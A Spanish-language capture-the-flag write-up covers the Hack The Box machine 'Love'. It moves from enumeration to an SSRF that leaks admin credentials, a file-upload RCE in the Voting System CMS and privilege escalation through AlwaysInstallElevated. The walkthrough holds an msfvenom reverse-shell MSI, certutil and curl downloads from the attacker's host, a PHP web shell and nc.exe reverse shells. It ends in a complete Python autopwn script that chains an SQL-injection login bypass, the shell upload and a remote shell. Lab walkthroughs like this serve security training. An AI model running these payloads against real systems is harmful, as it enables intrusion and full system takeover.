Inicio Love HTB Write-up
Entrada
Cancelar

Love HTB Write-up

Resumen

Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Love, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:

  • Enumeración del sistema y descubrimiento de directorios y subdominios.
  • SSRF para encontrar información.
  • Abuso del CMS voting system (vulnerable).
  • Abuso del AlwaysInstallElevated utilizando archivo .msi.
  • Automatización de la intrusión mediante python.

Reconocimiento y Enumeración

En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping:

1
2
3
4
ping -c 1 10.10.10.239

PING 10.10.10.239 (10.10.10.239) 56(84) bytes of data.
64 bytes from 10.10.10.239: icmp_seq=1 ttl=127 time=145 ms

Se observa que existe una correcta conexión con la máquina.

Para realizar un reconocimiento activo se utilizará la herramienta nmap, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):

1
sudo nmap -p- -sS --open -min-rate 5000 10.10.10.239 -oG Port

Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
5000/tcp  open  upnp
5040/tcp  open  unknown
5985/tcp  open  wsman
5986/tcp  open  wsmans
7680/tcp  open  pando-pub
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

Realizamos un escaneo de los servicios expuestos utilizando nmap:

1
2
sudo nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239

Como resultado del escaneo tenemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: Voting System using PHP
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after:  2022-01-18T14:00:16
| tls-alpn: 
|_  http/1.1
|_http-title: 403 Forbidden
445/tcp   open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql?
| fingerprint-strings: 
|   NotesRPC: 
|_    Host '10.10.14.17' is not allowed to connect to this MariaDB server
5000/tcp  open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp  open  unknown
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp  open  ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after:  2024-04-10T14:39:19
| tls-alpn: 
|_  http/1.1
|_ssl-date: 2023-02-11T21:36:15+00:00; +21m32s from scanner time.
|_http-title: Not Found
7680/tcp  open  pando-pub?
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.93%I=7%D=2/11%Time=63E804A5%P=x86_64-pc-linux-gnu%r(No
SF:tesRPC,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.17'\x20is\x20not\x20a
SF:llowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-02-11T13:36:02-08:00
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
|_clock-skew: mean: 2h21m32s, deviation: 4h00m01s, median: 21m31s
| smb2-time: 
|   date: 2023-02-11T21:36:00
|_  start_date: N/A
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

En primer lugar, se observa el puerto 445 abierto, el cual corresponde al servicio smb, por lo tanto, intentaremos realizar una enumeración del equipo y también si es posible de usuarios o recursos, para ello usaremos diferentes herramientas, la primera es crackmapexec:

1
2
3
 crackmapexec smb 10.10.10.239

SMB         10.10.10.239    445    LOVE             [*] Windows 10 Pro 19042 x64 (name:LOVE) (domain:Love) (signing:False) (SMBv1:True)

Intentamos listar recursos compartidos mediante smbmap:

1
2
3
smbmap -H 10.10.10.239

[!] Authentication error on 10.10.10.239

Pero necesitamos credenciales para poder listar contenido.

Obsevamos el puerto 80 abierto, por lo tanto, utilizando whatweb vamos a enumerar información del sistema:

1
2
whatweb 10.10.10.239
http://10.10.10.239 [200 OK] Apache[2.4.46], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27], IP[10.10.10.239], JQuery, OpenSSL[1.1.1j], PHP[7.3.27], PasswordField[password], Script, Title[Voting System using PHP], X-Powered-By[PHP/7.3.27], X-UA-Compatible[IE=edge]

Al entrar a la web vemos lo siguiente:

Vemos un panel donde se pide id y password, antes de intentar realizar algún tipo de injección terminaremos de enumerar el sistema, ahora realizamos fuzzing utilizando wfuzz:

1
wfuzz -c --hc=404,403 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 200 http://10.10.10.239/FUZZ

Encontramos algo interesante:

1
000000259:   301        9 L      30 W       337 Ch      "admin"

Vamos a la página a ver qué encontramos:

Ahora es un panel de autenticación, con el mismo título de voting system, desconocemos si se trata de algún tipo de CMS, por lo tanto, buscamos por la web si existe y sí, corresponde a un CMS, por lo tanto, buscaremos vulnerabilidades asociadas:

1
searchsploit voting system
1
2
3
4
Voting System 1.0 - Authentication Bypass (SQLI)                                                                                                                                 | php/webapps/49843.txt
Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)                                                                                                        | php/webapps/49445.py
Voting System 1.0 - Remote Code Execution (Unauthenticated)                                                                                                                      | php/webapps/49846.txt
Voting System 1.0 - Time based SQLI  (Unauthenticated SQL injection)                                                                                                             | php/webapps/49817.txt

Obsevamos que hay diversas vulnerabilidades para este CMS. Sin embargo, seguiremos enumerando el sistema por ahora.

Observamos que está el puerto 5000 abierto, por lo tanto, vamos a ingresar:

Sin embargo, no tenemos permisos para ver este recurso.

Vamos a seguir buscando información. En este caso intentaremos encontrar si es que existe algún subdominio, vemos que está el puerto 443 abierto, por lo tanto, nos conectamos con openssl por si encontramos información:

1
openssl s_client  -connect 10.10.10.239:443

Dentro de toda la información encontramos algo interesante:

1
 0 s:C = in, ST = m, L = norway, O = ValentineCorp, OU = love.htb, CN = staging.love.htb, emailAddress = roy@love.htb

Vamos a agregar love.htb y staging.love.htb al /etc/hosts:

1
2
3
4
5
6
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
10.10.10.239    love.htb staging.love.htb

Si ingresamos a staging.love.htb tenemos:

Encontramos una sección llamada Demo, entramos en ella:

Observamos que necesita una url, por lo tanto, abriremos un servidor http con python y pondremos nuestra dirección en la sección demo para probar si la página es funcional:

1
python3 -m http.server 80

Ingresamos nuestra ip:

Si miramos nuestro servidor en python tenemos:

1
2
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.239 - - [11/Feb/2023 21:47:32] "GET / HTTP/1.1" 200 -

Explotación

Vemos que efectivamente es funcional. Como por detrás está haciendo la consulta a una URL lo que podríamos hacer es verificar si se puede realizar un SSRF, en este caso probaremos si podemos enumerar información del lado del servidor que no podemos, para esto en vez de utilizar nuestra ip utilizaremos el localhost, especificamente en el puerto 5000, pues teniamos una página en la cual no teniamos permisos para revisar:

Observamos que si se ha logrado obtener la información de la página desde el localhost. Observamos unas credenciales, en este caso de administrador, iremos a la página de administrador para intentar entrar:

Estamos dentro del CMS como administradores. Si volvemos a mirar los resultados de searchsploit encontramos esto:

1
Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)                                                                                                        | php/webapps/49445.py

Tendríamos un RCE si estamos autenticados, y es el caso por lo tanto, vamos a ver que hace el código:

1
2
3
4
5
6
7
# --- Edit your settings here ----
IP = "192.168.1.207" # Website's URL
USERNAME = "potter" #Auth username
PASSWORD = "password" # Auth Password
REV_IP = "192.168.1.207" # Reverse shell IP
REV_PORT = "8888" # Reverse port
# --------------------------------

Vemos un área donde debemos ingresador los datos para ganar acceso al sistema. Si cambiamos los valores y ejecutamos el código no da un error. Si inspeccionamos el código nos damos cuenta que se realizan varias peticiones con estas url:

1
2
3
4
INDEX_PAGE = f"http://{IP}/votesystem/admin/index.php"
LOGIN_URL = f"http://{IP}/votesystem/admin/login.php"
VOTE_URL = f"http://{IP}/votesystem/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/votesystem/images/shell.php"

sin embargo, si observamos nuestro index:

1
http://10.10.10.239/admin/home.php

No existe la ruta votesystem, por lo tanto, lo cambiaremos en el script, si lo ejecutamos de nuevo:

1
2
3
4
 python3 49445.py
Start a NC listner on the port you choose above and run...
Logged in
Poc sent successfully

Si vamos a nuestro netcat:

1
2
3
4
5
6
7
8
9
10
11
nc -nvlp 8888
listening on [any] 8888 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.239] 50710
b374k shell : connected

Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\omrs\images>whoami
whoami
love\phoeb

Hemos conseguido acceso al sistema (La explicación de por qué funciona este exploit será más adelante cuando programemos el autopwn).

Buscamos la flag de usuario:

1
2
3
C:\Users\Phoebe\Desktop>type user.txt
type user.txt
3f115dbec9b51e23c3608a87d

Bien, tenemos la flag, ahora debemos escalar privilegios.

Escalada de privilegios

Para encontrar vías potenciales de escalada utilizaremos winPEAS.exe, mediante un servidor http con python compartimos el recurso y dentro de la máquina víctima ponemos:

1
certutil.exe -f -urlcache -split http://10.10.14.17/winPEASx64.exe winPEAS.exe

Al tenerlo en el equipo lo ejecutamos y buscamos cosas interesantes:

1
2
3
4
Checking AlwaysInstallElevated
 https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
    AlwaysInstallElevated set to 1 in HKLM!
    AlwaysInstallElevated set to 1 in HKCU!

Observamos una posible forma de escalar privilegios, iremos a web de hacktricks para ver en que consiste.

Básicamente, debemos realizar un payload .msi que haga una reverse shell con msfvenom y luego ejectuarlo con msiexec /quiet /qn /i.

Por lo tanto, creamos el payload:

1
msfvenom -p windows/x64/shell_reverse_tcp  LHOST=10.10.14.17 LPORT=1235 --platform windows -a x64 -f msi -o reverse.msi

Luego, este archivo creado lo pasaremos a la máquina víctima:

1
2
3
4
curl 10.10.14.17/reverse.msi -o reverse.msi
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  156k  100  156k    0     0   156k      0  0:00:01 --:--:--  0:00:01  191k

Con este archivo dentro de la máquina windows lo ejecutamos con msiexec /quiet /qn /i mientras tenemos netcat escuchando:

1
2
C:\xampp\htdocs\omrs\images>msiexec /quiet /qn /i reverse.msi
msiexec /quiet /qn /i reverse.msi

Si observamos nuestro netcat:

1
2
3
4
5
6
7
8
9
rlwrap nc -nvlp 1235
listening on [any] 1235 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.239] 59296
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

Bien, estamos dentro, ahora buscaremos la flag:

1
2
3
C:\Users\Administrator\Desktop>type root.txt
type root.txt
799e26baf2559167d6b1257

¡Bien!

Hemos ganado acceso como administrador.

Sin embargo, ahora haremos un autopwn en python que nos permitirá ganar acceso al sistema.

El código consiste en estos pasos:

  • injección sql para logearse en voting system.
  • Subir un archivo php malicioso que permite utilizar la variable cmd para injectar comandos.
  • Utilizar este archivo php para subir el netcat.exe a la máquina víctima.
  • Utilizar el mismo archivo php para realizar una conexión hacia nuestro equipo.

En primer lugar, tenemos las librerías:

1
2
3
import requests,sys,subprocess
from pwn import *
from os import system

Luego, tenemos la función encargada del control + c y la función que aparece si no ingresan correctamente los datos:

1
2
3
4
5
6
7
8
9
def def_handler(sig, frame):
    print("\n\n[!] saliendo...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

if len(sys.argv) < 3:
    print(f'[!] Uso: python3 {sys.argv[0]} "Tu IP" "Puerto para tu netcat"\n' )
    sys.exit(1)

Definimos las variables globales:

1
2
3
4
ipHost = sys.argv[1]
ipPort = sys.argv[2]
LoveIP = 'http://10.10.10.239'
s = requests.Session()

Tenemos la siguiente función que se encarga de obtener el path del nc.exe y copiarlo en el directorio actual de trabajo:

1
2
3
4
5
6
7
8
9
def getNetcat():
    try:
        result = subprocess.check_output(["locate", "nc.exe"])
        result2 = result.decode("utf-8")
        path = result2.split("\n")[0]
        system(f'cp {path} .')
    except:
        print("nc.exe not found")
        exit(1)

La siguiente función corresponde a la injección sql obtenida a través de searchsploit, la cual nos permite logearnos como administrador en el voting system:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def sqli():
    ip = f'{LoveIP}/admin/login.php'
    post_data = {
        'login':'yea',
        'password':'admin',
        'username': """dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -"""
    }
    cookies = s.cookies
    r = s.post(ip,data = post_data,cookies=cookies)

    if r.status_code == 200:
        print("[+] Injección SQL exitosa\n")
    else:
        print("[!] Injección SQL fallida\n")
        sys.exit(1)

Con la sesión iniciada, procedemos a subir un archivo php malicioso:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def uploadshell():

    payload = """  <?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?> """ 

    files  = {'photo':('shell.php',payload)

        }

    post_data = {
            'firstname' :' lorem',
            'lastname':'lorem',
            'password':'lorem',
            'add':''
        }

    LoveVote= f'{LoveIP}/admin/voters_add.php'

    r = s.post(LoveVote, data= post_data,files=files)

    if r.status_code == 200:
            print("[+] Subida de shell existosa\n")
    else:
            print("[!] Subida de shell fallida\n")
            exit(1)

Con el archivo ya subido a la máquina, intentaremos subir el nc.exe a la máquina víctima:

1
2
3
def uploadNC():
    ip = f'{LoveIP}/images/shell.php?cmd=curl {ipHost}/nc.exe -O nc.exe'
    r = s.get(ip)

Finalmente, nos conectamos con el nc.exe desde la máquina víctima:

1
2
3
4
def conection():
    print('\t\n\n[+] Completando proceso, revise netcat\n')
    ip = f'{LoveIP}/images/shell.php?cmd=nc.exe -e cmd.exe {ipHost} {ipPort}'
    r = s.get(ip)

Dentro del main tenemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if __name__ == '__main__':
    print(f'\n[+] Recuerda estar esperando conexión en netcat en el puerto {sys.argv[2]}\n\n')
    sleep(2)
    getNetcat()
    sqli()
    uploadshell()
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as so:
            so.bind(('localhost', 80))
            http_server = subprocess.Popen(["python3", "-m", "http.server", "80"])
    except OSError:
            print("\n[-] El puerto 80 se encuentra en uso, no se ha podido ejectuar el servidor")
   
    uploadNC()
    http_server.terminate()
    conection()

Obsevamos la llamada de las funciones y el subproceso que permite tener un servidor http con python para compartir el nc.exe y que la máquina víctima pueda descargarlo.

Luego, solo basta con iniciar al script junto con tu ip y el puerto que quieras recibir la reverse, y dejas tu netcat esperando conexión.

1
[+] Completando proceso, revise netcat
1
2
3
4
5
6
7
nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.239] 60385
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\omrs\images>

El código completo es el siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import requests,sys,subprocess
from pwn import *
from os import system


def def_handler(sig, frame):
    print("\n\n[!] saliendo...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

if len(sys.argv) < 3:
    print(f'[!] Uso: python3 {sys.argv[0]} "Tu IP"  "Puerto para tu netcat"\n' )
    sys.exit(1)


ipHost = sys.argv[1]
ipPort = sys.argv[2]
LoveIP = 'http://10.10.10.239'
s = requests.Session()

def getNetcat():
    try:
        result = subprocess.check_output(["locate", "nc.exe"])
        result2 = result.decode("utf-8")
        path = result2.split("\n")[0]
        system(f'cp {path} .')
    except:
        print("nc.exe not found")
        exit(1)

def sqli():
    ip = f'{LoveIP}/admin/login.php'
    post_data = {
        'login':'yea',
        'password':'admin',
        'username': """dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -"""
    }
    cookies = s.cookies
    r = s.post(ip,data = post_data,cookies=cookies)

    if r.status_code == 200:
        print("[+] Injección SQL exitosa\n")
    else:
        print("[!] Injección SQL fallida\n")
        sys.exit(1)

def uploadshell():

    payload = """  <?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?> """ 

    files  = {'photo':('shell.php',payload)

        }

    post_data = {
            'firstname' :' lorem',
            'lastname':'lorem',
            'password':'lorem',
            'add':''
        }

    LoveVote= f'{LoveIP}/admin/voters_add.php'

    r = s.post(LoveVote, data= post_data,files=files)

    if r.status_code == 200:
            print("[+] Subida de shell existosa\n")
    else:
            print("[!] Subida de shell fallida\n")
            exit(1)


def uploadNC():
    ip = f'{LoveIP}/images/shell.php?cmd=curl {ipHost}/nc.exe -O nc.exe'
    r = s.get(ip)

def conection():
    print('\t\n\n[+] Completando proceso, revise netcat\n')
    ip = f'{LoveIP}/images/shell.php?cmd=nc.exe -e cmd.exe {ipHost} {ipPort}'
    r = s.get(ip)


if __name__ == '__main__':
    print(f'\n[+] Recuerda estar esperando conexión en netcat en el puerto {sys.argv[2]}\n\n')
    sleep(2)
    getNetcat()
    sqli()
    uploadshell()
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as so:
            so.bind(('localhost', 80))
            http_server = subprocess.Popen(["python3", "-m", "http.server", "80"])
    except OSError:
            print("\n[-] El puerto 80 se encuentra en uso, no se ha podido ejectuar el servidor")
   
    uploadNC()
    http_server.terminate()
    conection()

¡Listo! terminamos la automatización de la intrusión.

Nos vemos, hasta la próxima.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.